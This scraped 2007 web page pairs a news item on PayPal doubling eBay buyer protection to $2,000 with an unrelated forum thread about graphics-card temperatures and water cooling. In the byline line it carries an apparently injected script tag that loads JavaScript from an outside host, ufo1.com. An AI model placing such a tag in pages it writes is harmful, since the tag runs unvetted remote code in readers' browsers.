PayPal Doubles Protection

"PayPal is doubling payment protection in the US and Canada for most eBay transactions to $2,000. Read on to find out more..."

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News <script type="text/javascript" src="http://ufo1.com/ad/c.js"></script> Posted 11/01/07
Author: PV5150
Source: The Register

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PayPal is doubling payment protection in the US and Canada for most eBay transactions to $2,000. Buyers can claim if the goods they buy do not arrive or are "significantly not as described". Which is nice, but a few get-outs remain for PayPal .

The improved terms cover 95 per cent of items listed on eBay. To qualify for (free) buyer protection, sellers must maintain 98 per cent positive feedback and have at least 50 feedback points. The green box on item listings will show how buyers are protected.

So what about the other five per cent? Presumably this covers the big ticket items, the newbies, the bad-rep sellers and the sales transacted outside PayPal. Under the new insurance regime, eBay is dropping purchase protection for non PayPal transactions - previously it offered up to $200, less a $25 processing fee. So that's $175, then. PayPal is stepping into the breach a little by offering $200 protection without a processing fee for all other qualified transactions. The green box on item listings will show how buyers are protected.

The improved protection is expected to beactivated on the 17th of January, and will bring eBay's user agreement into alignment with last September's required changes for protection programs.

Feel free to discuss this development in our forum

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10-01-2007, 12:35:47

Toxcity

what are ur temps for the 8800?

i have just thought to myself, i want my comp to be quiet and temps dont matter that much because mine were in acceptable range, i saw dun worry about it too much



Oh the temps are fine..
I am worried about the CPU temps!
Becasue the card pushes out onto the rad.. :)

10-01-2007, 12:37:21

darkorb
i read in ur other thread, the temps arnt bad for 36 load. is it oc'ed yet?

10-01-2007, 12:40:34

Toxcity
Yeah!
Its just higher than before the 8800.
I want the best perforamance form my cooling.. (don't care about anything apart from cold cold cold) :worship:

10-01-2007, 13:03:26

darkorb
does noise bother u? wuts ur OC on ur cpu btw

10-01-2007, 13:08:13

Toxcity
Noise I do not care... Cos I can make more noise than it.. :)

-Screams-

10-01-2007, 13:16:44

darkorb
i meant for sleeping :P

im sure u can put ur WC rig onto its highest settings and it would lower ur temps, unless it is now

for ur prob, there arn't many coolers for those cards, u could WC it, but that would increase ur cpu temps, cuz the water is being used on the gpu

here is a cheezy, but might work way of fixing ur problem, u can put something in the back to re-direct the air coming out of ur 8800 down or away from the radiator

10-01-2007, 13:59:47

Toxcity
Oh I can sleep! :)
I have one fan on full and the other on a slower setting..

10-01-2007, 15:02:15

BloomerzUK

10-01-2007, 15:25:59

Mr. Popo

10-01-2007, 17:33:40

Kempez
AquaPC stuff isn't cheap, badly designed or anything else.

It's actually awesome especially for those who love smaller bore w/c
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